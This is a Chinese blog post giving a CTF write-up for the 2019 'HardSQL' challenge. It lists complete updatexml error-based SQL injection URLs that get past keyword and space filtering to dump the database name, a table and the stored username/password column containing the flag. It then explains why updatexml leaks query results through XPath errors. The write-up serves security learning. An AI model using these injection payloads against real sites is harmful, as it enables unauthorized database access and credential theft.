[极客大挑战 2019]HardSQL 1

这题做的我真是当场去世。

经过手工测试过滤了and、= 空格 union等多个sql关键字

要思考如何绕过这些关键字去注入!

使用updatexml报错法注入

http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,version(),0x7e),1))%23&password=21
http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=21

结果:geek

查表

http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=21

结果:H4rDsq1

查字段

http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))%23&password=21

结果:flag~flag{9f09946d-4c83-40f5-98

看wp说用right()语句在查询后面部分  这样就可以了 又get到了新技能。。。。

只查到了一半再用left()right()语句查询拼接

http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=21

结果:XPATH syntax error: '~3-40f5-9828-9593ee5f3f4c}~'

拼接后结果:
flag{9f09946d-4c83-40f5-9828-9593ee5f3f4c}

 

这道题中用到了updatexml()函数,之前只是听过,这次顺带就给整理下来了。

UPDATEXML (XML_document, XPath_string, new_value); 
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 
第三个参数:new_value,String格式,替换查找到的符合条件的数据 
作用:改变文档中符合条件的节点的值

用MySQL测试一下

新建的user表如图:

查看表所属的数据库为test:

构造注入语句:select name from user where id=1 and updatexml(1,concat('~',(select database()),'~'),3);

发现注入成功,成功爆出数据库名。

解释:由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。

posted @ 2020-10-07 23:40  Sk2rw  阅读(371)  评论(0)    收藏  举报